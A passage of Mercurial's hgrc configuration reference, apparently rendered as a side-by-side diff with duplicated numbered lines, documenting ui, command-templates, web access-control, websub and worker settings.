2876 ``ignore``
2877 Don't print a warning.
2877 Don't print a warning.
2878
2878
2879 ``abort``
2879 ``abort``
2880 The command is aborted.
2880 The command is aborted.
2881
2881
2882 ``true``
2882 ``true``
2883 Alias for ``warn``.
2883 Alias for ``warn``.
2884
2884
2885 ``false``
2885 ``false``
2886 Alias for ``ignore``.
2886 Alias for ``ignore``.
2887
2887
2888 .. container:: windows
2888 .. container:: windows
2889
2889
2890 On Windows, this configuration option is ignored and the command aborted.
2890 On Windows, this configuration option is ignored and the command aborted.
2891
2891
2892 ``pre-merge-tool-output-template``
2892 ``pre-merge-tool-output-template``
2893 (DEPRECATED) Use ``command-template.pre-merge-tool-output`` instead.
2893 (DEPRECATED) Use ``command-template.pre-merge-tool-output`` instead.
2894
2894
2895 ``quiet``
2895 ``quiet``
2896 Reduce the amount of output printed.
2896 Reduce the amount of output printed.
2897 (default: False)
2897 (default: False)
2898
2898
2899 ``relative-paths``
2899 ``relative-paths``
2900 Prefer relative paths in the UI.
2900 Prefer relative paths in the UI.
2901
2901
2902 ``remotecmd``
2902 ``remotecmd``
2903 Remote command to use for clone/push/pull operations.
2903 Remote command to use for clone/push/pull operations.
2904 (default: ``hg``)
2904 (default: ``hg``)
2905
2905
2906 ``report_untrusted``
2906 ``report_untrusted``
2907 Warn if a ``.hg/hgrc`` file is ignored due to not being owned by a
2907 Warn if a ``.hg/hgrc`` file is ignored due to not being owned by a
2908 trusted user or group.
2908 trusted user or group.
2909 (default: True)
2909 (default: True)
2910
2910
2911 ``slash``
2911 ``slash``
2912 (Deprecated. Use ``slashpath`` template filter instead.)
2912 (Deprecated. Use ``slashpath`` template filter instead.)
2913
2913
2914 Display paths using a slash (``/``) as the path separator. This
2914 Display paths using a slash (``/``) as the path separator. This
2915 only makes a difference on systems where the default path
2915 only makes a difference on systems where the default path
2916 separator is not the slash character (e.g. Windows uses the
2916 separator is not the slash character (e.g. Windows uses the
2917 backslash character (``\``)).
2917 backslash character (``\``)).
2918 (default: False)
2918 (default: False)
2919
2919
2920 ``statuscopies``
2920 ``statuscopies``
2921 Display copies in the status command.
2921 Display copies in the status command.
2922
2922
2923 ``ssh``
2923 ``ssh``
2924 Command to use for SSH connections. (default: ``ssh``)
2924 Command to use for SSH connections. (default: ``ssh``)
2925
2925
2926 ``ssherrorhint``
2926 ``ssherrorhint``
2927 A hint shown to the user in the case of SSH error (e.g.
2927 A hint shown to the user in the case of SSH error (e.g.
2928 ``Please see http://company/internalwiki/ssh.html``)
2928 ``Please see http://company/internalwiki/ssh.html``)
2929
2929
2930 ``strict``
2930 ``strict``
2931 Require exact command names, instead of allowing unambiguous
2931 Require exact command names, instead of allowing unambiguous
2932 abbreviations. (default: False)
2932 abbreviations. (default: False)
2933
2933
2934 ``style``
2934 ``style``
2935 Name of style to use for command output.
2935 Name of style to use for command output.
2936
2936
2937 ``supportcontact``
2937 ``supportcontact``
2938 A URL where users should report a Mercurial traceback. Use this if you are a
2938 A URL where users should report a Mercurial traceback. Use this if you are a
2939 large organisation with its own Mercurial deployment process and crash
2939 large organisation with its own Mercurial deployment process and crash
2940 reports should be addressed to your internal support.
2940 reports should be addressed to your internal support.
2941
2941
2942 ``textwidth``
2942 ``textwidth``
2943 Maximum width of help text. A longer line generated by ``hg help`` or
2943 Maximum width of help text. A longer line generated by ``hg help`` or
2944 ``hg subcommand --help`` will be broken after white space to get this
2944 ``hg subcommand --help`` will be broken after white space to get this
2945 width or the terminal width, whichever comes first.
2945 width or the terminal width, whichever comes first.
2946 A non-positive value will disable this and the terminal width will be
2946 A non-positive value will disable this and the terminal width will be
2947 used. (default: 78)
2947 used. (default: 78)
2948
2948
2949 ``timeout``
2949 ``timeout``
2950 The timeout used when a lock is held (in seconds), a negative value
2950 The timeout used when a lock is held (in seconds), a negative value
2951 means no timeout. (default: 600)
2951 means no timeout. (default: 600)
2952
2952
2953 ``timeout.warn``
2953 ``timeout.warn``
2954 Time (in seconds) before a warning is printed about held lock. A negative
2954 Time (in seconds) before a warning is printed about held lock. A negative
2955 value means no warning. (default: 0)
2955 value means no warning. (default: 0)
2956
2956
2957 ``traceback``
2957 ``traceback``
2958 Mercurial always prints a traceback when an unknown exception
2958 Mercurial always prints a traceback when an unknown exception
2959 occurs. Setting this to True will make Mercurial print a traceback
2959 occurs. Setting this to True will make Mercurial print a traceback
2960 on all exceptions, even those recognized by Mercurial (such as
2960 on all exceptions, even those recognized by Mercurial (such as
2961 IOError or MemoryError). (default: False)
2961 IOError or MemoryError). (default: False)
2962
2962
2963 ``tweakdefaults``
2963 ``tweakdefaults``
2964
2964
2965 By default Mercurial's behavior changes very little from release
2965 By default Mercurial's behavior changes very little from release
2966 to release, but over time the recommended config settings
2966 to release, but over time the recommended config settings
2967 shift. Enable this config to opt in to get automatic tweaks to
2967 shift. Enable this config to opt in to get automatic tweaks to
2968 Mercurial's behavior over time. This config setting will have no
2968 Mercurial's behavior over time. This config setting will have no
2969 effect if ``HGPLAIN`` is set or ``HGPLAINEXCEPT`` is set and does
2969 effect if ``HGPLAIN`` is set or ``HGPLAINEXCEPT`` is set and does
2970 not include ``tweakdefaults``. (default: False)
2970 not include ``tweakdefaults``. (default: False)
2971
2971
2972 It currently means::
2972 It currently means::
2973
2973
2974 .. tweakdefaultsmarker
2974 .. tweakdefaultsmarker
2975
2975
2976 ``username``
2976 ``username``
2977 The committer of a changeset created when running "commit".
2977 The committer of a changeset created when running "commit".
2978 Typically a person's name and email address, e.g. ``Fred Widget
2978 Typically a person's name and email address, e.g. ``Fred Widget
2979 <fred@example.com>``. Environment variables in the
2979 <fred@example.com>``. Environment variables in the
2980 username are expanded.
2980 username are expanded.
2981
2981
2982 (default: ``$EMAIL`` or ``username@hostname``. If the username in
2982 (default: ``$EMAIL`` or ``username@hostname``. If the username in
2983 hgrc is empty, e.g. if the system admin set ``username =`` in the
2983 hgrc is empty, e.g. if the system admin set ``username =`` in the
2984 system hgrc, it has to be specified manually or in a different
2984 system hgrc, it has to be specified manually or in a different
2985 hgrc file)
2985 hgrc file)
2986
2986
2987 ``verbose``
2987 ``verbose``
2988 Increase the amount of output printed. (default: False)
2988 Increase the amount of output printed. (default: False)
2989
2989
2990
2990
2991 ``command-templates``
2991 ``command-templates``
2992 ---------------------
2992 ---------------------
2993
2993
2994 Templates used for customizing the output of commands.
2994 Templates used for customizing the output of commands.
2995
2995
2996 ``graphnode``
2996 ``graphnode``
2997 The template used to print changeset nodes in an ASCII revision graph.
2997 The template used to print changeset nodes in an ASCII revision graph.
2998 (default: ``{graphnode}``)
2998 (default: ``{graphnode}``)
2999
2999
3000 ``log``
3000 ``log``
3001 Template string for commands that print changesets.
3001 Template string for commands that print changesets.
3002
3002
3003 ``mergemarker``
3003 ``mergemarker``
3004 The template used to print the commit description next to each conflict
3004 The template used to print the commit description next to each conflict
3005 marker during merge conflicts. See :hg:`help templates` for the template
3005 marker during merge conflicts. See :hg:`help templates` for the template
3006 format.
3006 format.
3007
3007
3008 Defaults to showing the hash, tags, branches, bookmarks, author, and
3008 Defaults to showing the hash, tags, branches, bookmarks, author, and
3009 the first line of the commit description.
3009 the first line of the commit description.
3010
3010
3011 If you use non-ASCII characters in names for tags, branches, bookmarks,
3011 If you use non-ASCII characters in names for tags, branches, bookmarks,
3012 authors, and/or commit descriptions, you must pay attention to encodings of
3012 authors, and/or commit descriptions, you must pay attention to encodings of
3013 managed files. At template expansion, non-ASCII characters use the encoding
3013 managed files. At template expansion, non-ASCII characters use the encoding
3014 specified by the ``--encoding`` global option, ``HGENCODING`` or other
3014 specified by the ``--encoding`` global option, ``HGENCODING`` or other
3015 environment variables that govern your locale. If the encoding of the merge
3015 environment variables that govern your locale. If the encoding of the merge
3016 markers is different from the encoding of the merged files,
3016 markers is different from the encoding of the merged files,
3017 serious problems may occur.
3017 serious problems may occur.
3018
3018
3019 Can be overridden per-merge-tool, see the ``[merge-tools]`` section.
3019 Can be overridden per-merge-tool, see the ``[merge-tools]`` section.
3020
3020
3021 ``oneline-summary``
3021 ``oneline-summary``
3022 A template used by `hg rebase` and other commands for showing a one-line
3022 A template used by `hg rebase` and other commands for showing a one-line
3023 summary of a commit. If the template configured here is longer than one
3023 summary of a commit. If the template configured here is longer than one
3024 line, then only the first line is used.
3024 line, then only the first line is used.
3025
3025
3026 The template can be overridden per command by defining a template in
3026 The template can be overridden per command by defining a template in
3027 `oneline-summary.<command>`, where `<command>` can be e.g. "rebase".
3027 `oneline-summary.<command>`, where `<command>` can be e.g. "rebase".
3028
3028
3029 ``pre-merge-tool-output``
3029 ``pre-merge-tool-output``
3030 A template that is printed before executing an external merge tool. This can
3030 A template that is printed before executing an external merge tool. This can
3031 be used to print out additional context that might be useful to have during
3031 be used to print out additional context that might be useful to have during
3032 the conflict resolution, such as the description of the various commits
3032 the conflict resolution, such as the description of the various commits
3033 involved or bookmarks/tags.
3033 involved or bookmarks/tags.
3034
3034
3035 Additional information is available in the ``local`, ``base``, and ``other``
3035 Additional information is available in the ``local`, ``base``, and ``other``
3036 dicts. For example: ``{local.label}``, ``{base.name}``, or
3036 dicts. For example: ``{local.label}``, ``{base.name}``, or
3037 ``{other.islink}``.
3037 ``{other.islink}``.
3038
3038
3039
3039
3040 ``web``
3040 ``web``
3041 -------
3041 -------
3042
3042
3043 Web interface configuration. The settings in this section apply to
3043 Web interface configuration. The settings in this section apply to
3044 both the builtin webserver (started by :hg:`serve`) and the script you
3044 both the builtin webserver (started by :hg:`serve`) and the script you
3045 run through a webserver (``hgweb.cgi`` and the derivatives for FastCGI
3045 run through a webserver (``hgweb.cgi`` and the derivatives for FastCGI
3046 and WSGI).
3046 and WSGI).
3047
3047
3048 The Mercurial webserver does no authentication (it does not prompt for
3048 The Mercurial webserver does no authentication (it does not prompt for
3049 usernames and passwords to validate *who* users are), but it does do
3049 usernames and passwords to validate *who* users are), but it does do
3050 authorization (it grants or denies access for *authenticated users*
3050 authorization (it grants or denies access for *authenticated users*
3051 based on settings in this section). You must either configure your
3051 based on settings in this section). You must either configure your
3052 webserver to do authentication for you, or disable the authorization
3052 webserver to do authentication for you, or disable the authorization
3053 checks.
3053 checks.
3054
3054
3055 For a quick setup in a trusted environment, e.g., a private LAN, where
3055 For a quick setup in a trusted environment, e.g., a private LAN, where
3056 you want it to accept pushes from anybody, you can use the following
3056 you want it to accept pushes from anybody, you can use the following
3057 command line::
3057 command line::
3058
3058
3059 $ hg --config web.allow-push=* --config web.push_ssl=False serve
3059 $ hg --config web.allow-push=* --config web.push_ssl=False serve
3060
3060
3061 Note that this will allow anybody to push anything to the server and
3061 Note that this will allow anybody to push anything to the server and
3062 that this should not be used for public servers.
3062 that this should not be used for public servers.
3063
3063
3064 The full set of options is:
3064 The full set of options is:
3065
3065
3066 ``accesslog``
3066 ``accesslog``
3067 Where to output the access log. (default: stdout)
3067 Where to output the access log. (default: stdout)
3068
3068
3069 ``address``
3069 ``address``
3070 Interface address to bind to. (default: all)
3070 Interface address to bind to. (default: all)
3071
3071
3072 ``allow-archive``
3072 ``allow-archive``
3073 List of archive format (bz2, gz, zip) allowed for downloading.
3073 List of archive format (bz2, gz, zip) allowed for downloading.
3074 (default: empty)
3074 (default: empty)
3075
3075
3076 ``allowbz2``
3076 ``allowbz2``
3077 (DEPRECATED) Whether to allow .tar.bz2 downloading of repository
3077 (DEPRECATED) Whether to allow .tar.bz2 downloading of repository
3078 revisions.
3078 revisions.
3079 (default: False)
3079 (default: False)
3080
3080
3081 ``allowgz``
3081 ``allowgz``
3082 (DEPRECATED) Whether to allow .tar.gz downloading of repository
3082 (DEPRECATED) Whether to allow .tar.gz downloading of repository
3083 revisions.
3083 revisions.
3084 (default: False)
3084 (default: False)
3085
3085
3086 ``allow-pull``
3086 ``allow-pull``
3087 Whether to allow pulling from the repository. (default: True)
3087 Whether to allow pulling from the repository. (default: True)
3088
3088
3089 ``allow-push``
3089 ``allow-push``
3090 Whether to allow pushing to the repository. If empty or not set,
3090 Whether to allow pushing to the repository. If empty or not set,
3091 pushing is not allowed. If the special value ``*``, any remote
3091 pushing is not allowed. If the special value ``*``, any remote
3092 user can push, including unauthenticated users. Otherwise, the
3092 user can push, including unauthenticated users. Otherwise, the
3093 remote user must have been authenticated, and the authenticated
3093 remote user must have been authenticated, and the authenticated
3094 user name must be present in this list. The contents of the
3094 user name must be present in this list. The contents of the
3095 allow-push list are examined after the deny_push list.
3095 allow-push list are examined after the deny_push list.
3096
3096
3097 ``allow_read``
3097 ``allow_read``
3098 If the user has not already been denied repository access due to
3098 If the user has not already been denied repository access due to
3099 the contents of deny_read, this list determines whether to grant
3099 the contents of deny_read, this list determines whether to grant
3100 repository access to the user. If this list is not empty, and the
3100 repository access to the user. If this list is not empty, and the
3101 user is unauthenticated or not present in the list, then access is
3101 user is unauthenticated or not present in the list, then access is
3102 denied for the user. If the list is empty or not set, then access
3102 denied for the user. If the list is empty or not set, then access
3103 is permitted to all users by default. Setting allow_read to the
3103 is permitted to all users by default. Setting allow_read to the
3104 special value ``*`` is equivalent to it not being set (i.e. access
3104 special value ``*`` is equivalent to it not being set (i.e. access
3105 is permitted to all users). The contents of the allow_read list are
3105 is permitted to all users). The contents of the allow_read list are
3106 examined after the deny_read list.
3106 examined after the deny_read list.
3107
3107
3108 ``allowzip``
3108 ``allowzip``
3109 (DEPRECATED) Whether to allow .zip downloading of repository
3109 (DEPRECATED) Whether to allow .zip downloading of repository
3110 revisions. This feature creates temporary files.
3110 revisions. This feature creates temporary files.
3111 (default: False)
3111 (default: False)
3112
3112
3113 ``archivesubrepos``
3113 ``archivesubrepos``
3114 Whether to recurse into subrepositories when archiving.
3114 Whether to recurse into subrepositories when archiving.
3115 (default: False)
3115 (default: False)
3116
3116
3117 ``baseurl``
3117 ``baseurl``
3118 Base URL to use when publishing URLs in other locations, so
3118 Base URL to use when publishing URLs in other locations, so
3119 third-party tools like email notification hooks can construct
3119 third-party tools like email notification hooks can construct
3120 URLs. Example: ``http://hgserver/repos/``.
3120 URLs. Example: ``http://hgserver/repos/``.
3121
3121
3122 ``cacerts``
3122 ``cacerts``
3123 Path to file containing a list of PEM encoded certificate
3123 Path to file containing a list of PEM encoded certificate
3124 authority certificates. Environment variables and ``~user``
3124 authority certificates. Environment variables and ``~user``
3125 constructs are expanded in the filename. If specified on the
3125 constructs are expanded in the filename. If specified on the
3126 client, then it will verify the identity of remote HTTPS servers
3126 client, then it will verify the identity of remote HTTPS servers
3127 with these certificates.
3127 with these certificates.
3128
3128
3129 To disable SSL verification temporarily, specify ``--insecure`` from
3129 To disable SSL verification temporarily, specify ``--insecure`` from
3130 command line.
3130 command line.
3131
3131
3132 You can use OpenSSL's CA certificate file if your platform has
3132 You can use OpenSSL's CA certificate file if your platform has
3133 one. On most Linux systems this will be
3133 one. On most Linux systems this will be
3134 ``/etc/ssl/certs/ca-certificates.crt``. Otherwise you will have to
3134 ``/etc/ssl/certs/ca-certificates.crt``. Otherwise you will have to
3135 generate this file manually. The form must be as follows::
3135 generate this file manually. The form must be as follows::
3136
3136
3137 -----BEGIN CERTIFICATE-----
3137 -----BEGIN CERTIFICATE-----
3138 ... (certificate in base64 PEM encoding) ...
3138 ... (certificate in base64 PEM encoding) ...
3139 -----END CERTIFICATE-----
3139 -----END CERTIFICATE-----
3140 -----BEGIN CERTIFICATE-----
3140 -----BEGIN CERTIFICATE-----
3141 ... (certificate in base64 PEM encoding) ...
3141 ... (certificate in base64 PEM encoding) ...
3142 -----END CERTIFICATE-----
3142 -----END CERTIFICATE-----
3143
3143
3144 ``cache``
3144 ``cache``
3145 Whether to support caching in hgweb. (default: True)
3145 Whether to support caching in hgweb. (default: True)
3146
3146
3147 ``certificate``
3147 ``certificate``
3148 Certificate to use when running :hg:`serve`.
3148 Certificate to use when running :hg:`serve`.
3149
3149
3150 ``collapse``
3150 ``collapse``
3151 With ``descend`` enabled, repositories in subdirectories are shown at
3151 With ``descend`` enabled, repositories in subdirectories are shown at
3152 a single level alongside repositories in the current path. With
3152 a single level alongside repositories in the current path. With
3153 ``collapse`` also enabled, repositories residing at a deeper level than
3153 ``collapse`` also enabled, repositories residing at a deeper level than
3154 the current path are grouped behind navigable directory entries that
3154 the current path are grouped behind navigable directory entries that
3155 lead to the locations of these repositories. In effect, this setting
3155 lead to the locations of these repositories. In effect, this setting
3156 collapses each collection of repositories found within a subdirectory
3156 collapses each collection of repositories found within a subdirectory
3157 into a single entry for that subdirectory. (default: False)
3157 into a single entry for that subdirectory. (default: False)
3158
3158
3159 ``comparisoncontext``
3159 ``comparisoncontext``
3160 Number of lines of context to show in side-by-side file comparison. If
3160 Number of lines of context to show in side-by-side file comparison. If
3161 negative or the value ``full``, whole files are shown. (default: 5)
3161 negative or the value ``full``, whole files are shown. (default: 5)
3162
3162
3163 This setting can be overridden by a ``context`` request parameter to the
3163 This setting can be overridden by a ``context`` request parameter to the
3164 ``comparison`` command, taking the same values.
3164 ``comparison`` command, taking the same values.
3165
3165
3166 ``contact``
3166 ``contact``
3167 Name or email address of the person in charge of the repository.
3167 Name or email address of the person in charge of the repository.
3168 (default: ui.username or ``$EMAIL`` or "unknown" if unset or empty)
3168 (default: ui.username or ``$EMAIL`` or "unknown" if unset or empty)
3169
3169
3170 ``csp``
3170 ``csp``
3171 Send a ``Content-Security-Policy`` HTTP header with this value.
3171 Send a ``Content-Security-Policy`` HTTP header with this value.
3172
3172
3173 The value may contain a special string ``%nonce%``, which will be replaced
3173 The value may contain a special string ``%nonce%``, which will be replaced
3174 by a randomly-generated one-time use value. If the value contains
3174 by a randomly-generated one-time use value. If the value contains
3175 ``%nonce%``, ``web.cache`` will be disabled, as caching undermines the
3175 ``%nonce%``, ``web.cache`` will be disabled, as caching undermines the
3176 one-time property of the nonce. This nonce will also be inserted into
3176 one-time property of the nonce. This nonce will also be inserted into
3177 ``<script>`` elements containing inline JavaScript.
3177 ``<script>`` elements containing inline JavaScript.
3178
3178
3179 Note: lots of HTML content sent by the server is derived from repository
3179 Note: lots of HTML content sent by the server is derived from repository
3180 data. Please consider the potential for malicious repository data to
3180 data. Please consider the potential for malicious repository data to
3181 "inject" itself into generated HTML content as part of your security
3181 "inject" itself into generated HTML content as part of your security
3182 threat model.
3182 threat model.
3183
3183
3184 ``deny_push``
3184 ``deny_push``
3185 Whether to deny pushing to the repository. If empty or not set,
3185 Whether to deny pushing to the repository. If empty or not set,
3186 push is not denied. If the special value ``*``, all remote users are
3186 push is not denied. If the special value ``*``, all remote users are
3187 denied push. Otherwise, unauthenticated users are all denied, and
3187 denied push. Otherwise, unauthenticated users are all denied, and
3188 any authenticated user name present in this list is also denied. The
3188 any authenticated user name present in this list is also denied. The
3189 contents of the deny_push list are examined before the allow-push list.
3189 contents of the deny_push list are examined before the allow-push list.
3190
3190
3191 ``deny_read``
3191 ``deny_read``
3192 Whether to deny reading/viewing of the repository. If this list is
3192 Whether to deny reading/viewing of the repository. If this list is
3193 not empty, unauthenticated users are all denied, and any
3193 not empty, unauthenticated users are all denied, and any
3194 authenticated user name present in this list is also denied access to
3194 authenticated user name present in this list is also denied access to
3195 the repository. If set to the special value ``*``, all remote users
3195 the repository. If set to the special value ``*``, all remote users
3196 are denied access (rarely needed ;). If deny_read is empty or not set,
3196 are denied access (rarely needed ;). If deny_read is empty or not set,
3197 the determination of repository access depends on the presence and
3197 the determination of repository access depends on the presence and
3198 content of the allow_read list (see description). If both
3198 content of the allow_read list (see description). If both
3199 deny_read and allow_read are empty or not set, then access is
3199 deny_read and allow_read are empty or not set, then access is
3200 permitted to all users by default. If the repository is being
3200 permitted to all users by default. If the repository is being
3201 served via hgwebdir, denied users will not be able to see it in
3201 served via hgwebdir, denied users will not be able to see it in
3202 the list of repositories. The contents of the deny_read list have
3202 the list of repositories. The contents of the deny_read list have
3203 priority over (are examined before) the contents of the allow_read
3203 priority over (are examined before) the contents of the allow_read
3204 list.
3204 list.
3205
3205
3206 ``descend``
3206 ``descend``
3207 hgwebdir indexes will not descend into subdirectories. Only repositories
3207 hgwebdir indexes will not descend into subdirectories. Only repositories
3208 directly in the current path will be shown (other repositories are still
3208 directly in the current path will be shown (other repositories are still
3209 available from the index corresponding to their containing path).
3209 available from the index corresponding to their containing path).
3210
3210
3211 ``description``
3211 ``description``
3212 Textual description of the repository's purpose or contents.
3212 Textual description of the repository's purpose or contents.
3213 (default: "unknown")
3213 (default: "unknown")
3214
3214
3215 ``encoding``
3215 ``encoding``
3216 Character encoding name. (default: the current locale charset)
3216 Character encoding name. (default: the current locale charset)
3217 Example: "UTF-8".
3217 Example: "UTF-8".
3218
3218
3219 ``errorlog``
3219 ``errorlog``
3220 Where to output the error log. (default: stderr)
3220 Where to output the error log. (default: stderr)
3221
3221
3222 ``guessmime``
3222 ``guessmime``
3223 Control MIME types for raw download of file content.
3223 Control MIME types for raw download of file content.
3224 Set to True to let hgweb guess the content type from the file
3224 Set to True to let hgweb guess the content type from the file
3225 extension. This will serve HTML files as ``text/html`` and might
3225 extension. This will serve HTML files as ``text/html`` and might
3226 allow cross-site scripting attacks when serving untrusted
3226 allow cross-site scripting attacks when serving untrusted
3227 repositories. (default: False)
3227 repositories. (default: False)
3228
3228
3229 ``hidden``
3229 ``hidden``
3230 Whether to hide the repository in the hgwebdir index.
3230 Whether to hide the repository in the hgwebdir index.
3231 (default: False)
3231 (default: False)
3232
3232
3233 ``ipv6``
3233 ``ipv6``
3234 Whether to use IPv6. (default: False)
3234 Whether to use IPv6. (default: False)
3235
3235
3236 ``labels``
3236 ``labels``
3237 List of string *labels* associated with the repository.
3237 List of string *labels* associated with the repository.
3238
3238
3239 Labels are exposed as a template keyword and can be used to customize
3239 Labels are exposed as a template keyword and can be used to customize
3240 output. e.g. the ``index`` template can group or filter repositories
3240 output. e.g. the ``index`` template can group or filter repositories
3241 by labels and the ``summary`` template can display additional content
3241 by labels and the ``summary`` template can display additional content
3242 if a specific label is present.
3242 if a specific label is present.
3243
3243
3244 ``logoimg``
3244 ``logoimg``
3245 File name of the logo image that some templates display on each page.
3245 File name of the logo image that some templates display on each page.
3246 The file name is relative to ``staticurl``. That is, the full path to
3246 The file name is relative to ``staticurl``. That is, the full path to
3247 the logo image is "staticurl/logoimg".
3247 the logo image is "staticurl/logoimg".
3248 If unset, ``hglogo.png`` will be used.
3248 If unset, ``hglogo.png`` will be used.
3249
3249
3250 ``logourl``
3250 ``logourl``
3251 Base URL to use for logos. If unset, ``https://mercurial-scm.org/``
3251 Base URL to use for logos. If unset, ``https://mercurial-scm.org/``
3252 will be used.
3252 will be used.
3253
3253
3254 ``maxchanges``
3254 ``maxchanges``
3255 Maximum number of changes to list on the changelog. (default: 10)
3255 Maximum number of changes to list on the changelog. (default: 10)
3256
3256
3257 ``maxfiles``
3257 ``maxfiles``
3258 Maximum number of files to list per changeset. (default: 10)
3258 Maximum number of files to list per changeset. (default: 10)
3259
3259
3260 ``maxshortchanges``
3260 ``maxshortchanges``
3261 Maximum number of changes to list on the shortlog, graph or filelog
3261 Maximum number of changes to list on the shortlog, graph or filelog
3262 pages. (default: 60)
3262 pages. (default: 60)
3263
3263
3264 ``name``
3264 ``name``
3265 Repository name to use in the web interface.
3265 Repository name to use in the web interface.
3266 (default: current working directory)
3266 (default: current working directory)
3267
3267
3268 ``port``
3268 ``port``
3269 Port to listen on. (default: 8000)
3269 Port to listen on. (default: 8000)
3270
3270
3271 ``prefix``
3271 ``prefix``
3272 Prefix path to serve from. (default: '' (server root))
3272 Prefix path to serve from. (default: '' (server root))
3273
3273
3274 ``push_ssl``
3274 ``push_ssl``
3275 Whether to require that inbound pushes be transported over SSL to
3275 Whether to require that inbound pushes be transported over SSL to
3276 prevent password sniffing. (default: True)
3276 prevent password sniffing. (default: True)
3277
3277
3278 ``refreshinterval``
3278 ``refreshinterval``
3279 How frequently directory listings re-scan the filesystem for new
3279 How frequently directory listings re-scan the filesystem for new
3280 repositories, in seconds. This is relevant when wildcards are used
3280 repositories, in seconds. This is relevant when wildcards are used
3281 to define paths. Depending on how much filesystem traversal is
3281 to define paths. Depending on how much filesystem traversal is
3282 required, refreshing may negatively impact performance.
3282 required, refreshing may negatively impact performance.
3283
3283
3284 Values less than or equal to 0 always refresh.
3284 Values less than or equal to 0 always refresh.
3285 (default: 20)
3285 (default: 20)
3286
3286
3287 ``server-header``
3287 ``server-header``
3288 Value for HTTP ``Server`` response header.
3288 Value for HTTP ``Server`` response header.
3289
3289
3290 ``static``
3290 ``static``
3291 Directory where static files are served from.
3291 Directory where static files are served from.
3292
3292
3293 ``staticurl``
3293 ``staticurl``
3294 Base URL to use for static files. If unset, static files (e.g. the
3294 Base URL to use for static files. If unset, static files (e.g. the
3295 hgicon.png favicon) will be served by the CGI script itself. Use
3295 hgicon.png favicon) will be served by the CGI script itself. Use
3296 this setting to serve them directly with the HTTP server.
3296 this setting to serve them directly with the HTTP server.
3297 Example: ``http://hgserver/static/``.
3297 Example: ``http://hgserver/static/``.
3298
3298
3299 ``stripes``
3299 ``stripes``
3300 How many lines a "zebra stripe" should span in multi-line output.
3300 How many lines a "zebra stripe" should span in multi-line output.
3301 Set to 0 to disable. (default: 1)
3301 Set to 0 to disable. (default: 1)
3302
3302
3303 ``style``
3303 ``style``
3304 Which template map style to use. The available options are the names of
3304 Which template map style to use. The available options are the names of
3305 subdirectories in the HTML templates path. (default: ``paper``)
3305 subdirectories in the HTML templates path. (default: ``paper``)
3306 Example: ``monoblue``.
3306 Example: ``monoblue``.
3307
3307
3308 ``templates``
3308 ``templates``
3309 Where to find the HTML templates. The default path to the HTML templates
3309 Where to find the HTML templates. The default path to the HTML templates
3310 can be obtained from ``hg debuginstall``.
3310 can be obtained from ``hg debuginstall``.
3311
3311
3312 ``websub``
3312 ``websub``
3313 ----------
3313 ----------
3314
3314
3315 Web substitution filter definition. You can use this section to
3315 Web substitution filter definition. You can use this section to
3316 define a set of regular expression substitution patterns which
3316 define a set of regular expression substitution patterns which
3317 let you automatically modify the hgweb server output.
3317 let you automatically modify the hgweb server output.
3318
3318
3319 The default hgweb templates only apply these substitution patterns
3319 The default hgweb templates only apply these substitution patterns
3320 on the revision description fields. You can apply them anywhere
3320 on the revision description fields. You can apply them anywhere
3321 you want when you create your own templates by adding calls to the
3321 you want when you create your own templates by adding calls to the
3322 "websub" filter (usually after calling the "escape" filter).
3322 "websub" filter (usually after calling the "escape" filter).
3323
3323
3324 This can be used, for example, to convert issue references to links
3324 This can be used, for example, to convert issue references to links
3325 to your issue tracker, or to convert "markdown-like" syntax into
3325 to your issue tracker, or to convert "markdown-like" syntax into
3326 HTML (see the examples below).
3326 HTML (see the examples below).
3327
3327
3328 Each entry in this section names a substitution filter.
3328 Each entry in this section names a substitution filter.
3329 The value of each entry defines the substitution expression itself.
3329 The value of each entry defines the substitution expression itself.
3330 The websub expressions follow the old interhg extension syntax,
3330 The websub expressions follow the old interhg extension syntax,
3331 which in turn imitates the Unix sed replacement syntax::
3331 which in turn imitates the Unix sed replacement syntax::
3332
3332
3333 patternname = s/SEARCH_REGEX/REPLACE_EXPRESSION/[i]
3333 patternname = s/SEARCH_REGEX/REPLACE_EXPRESSION/[i]
3334
3334
3335 You can use any separator other than "/". The final "i" is optional
3335 You can use any separator other than "/". The final "i" is optional
3336 and indicates that the search must be case insensitive.
3336 and indicates that the search must be case insensitive.
3337
3337
3338 Examples::
3338 Examples::
3339
3339
3340 [websub]
3340 [websub]
3341 issues = s|issue(\d+)|<a href="http://bts.example.org/issue\1">issue\1</a>|i
3341 issues = s|issue(\d+)|<a href="http://bts.example.org/issue\1">issue\1</a>|i
3342 italic = s/\b_(\S+)_\b/<i>\1<\/i>/
3342 italic = s/\b_(\S+)_\b/<i>\1<\/i>/
3343 bold = s/\*\b(\S+)\b\*/<b>\1<\/b>/
3343 bold = s/\*\b(\S+)\b\*/<b>\1<\/b>/
3344
3344
3345 ``worker``
3345 ``worker``
3346 ----------
3346 ----------
3347
3347
3348 Parallel master/worker configuration. We currently perform working
3348 Parallel master/worker configuration. We currently perform working
3349 directory updates in parallel on Unix-like systems, which greatly
3349 directory updates in parallel on Unix-like systems, which greatly
3350 helps performance.
3350 helps performance.
3351
3351
3352 ``enabled``
3352 ``enabled``
3353 Whether to enable workers code to be used.
3353 Whether to enable workers code to be used.
3354 (default: true)
3354 (default: true)
3355
3355
3356 ``numcpus``
3356 ``numcpus``
3357 Number of CPUs to use for parallel operations. A zero or
3357 Number of CPUs to use for parallel operations. A zero or
3358 negative value is treated as ``use the default``.
3358 negative value is treated as ``use the default``.
3359 (default: 4 or the number of CPUs on the system, whichever is larger)
3359 (default: 4 or the number of CPUs on the system, whichever is larger)
3360
3360
3361 ``backgroundclose``
3361 ``backgroundclose``
3362 Whether to enable closing file handles on background threads during certain
3362 Whether to enable closing file handles on background threads during certain
3363 operations. Some platforms aren't very efficient at closing file
3363 operations. Some platforms aren't very efficient at closing file
3364 handles that have been written or appended to. By performing file closing
3364 handles that have been written or appended to. By performing file closing
3365 on background threads, file write rate can increase substantially.
3365 on background threads, file write rate can increase substantially.
3366 (default: true on Windows, false elsewhere)
3366 (default: true on Windows, false elsewhere)
3367
3367
3368 ``backgroundcloseminfilecount``
3368 ``backgroundcloseminfilecount``
3369 Minimum number of files required to trigger background file closing.
3369 Minimum number of files required to trigger background file closing.
3370 Operations not writing this many files won't start background close
3370 Operations not writing this many files won't start background close
3371 threads.
3371 threads.
3372 (default: 2048)
3372 (default: 2048)
3373
3373
3374 ``backgroundclosemaxqueue``
3374 ``backgroundclosemaxqueue``
3375 The maximum number of opened file handles waiting to be closed in the
3375 The maximum number of opened file handles waiting to be closed in the
3376 background. This option only has an effect if ``backgroundclose`` is
3376 background. This option only has an effect if ``backgroundclose`` is
3377 enabled.
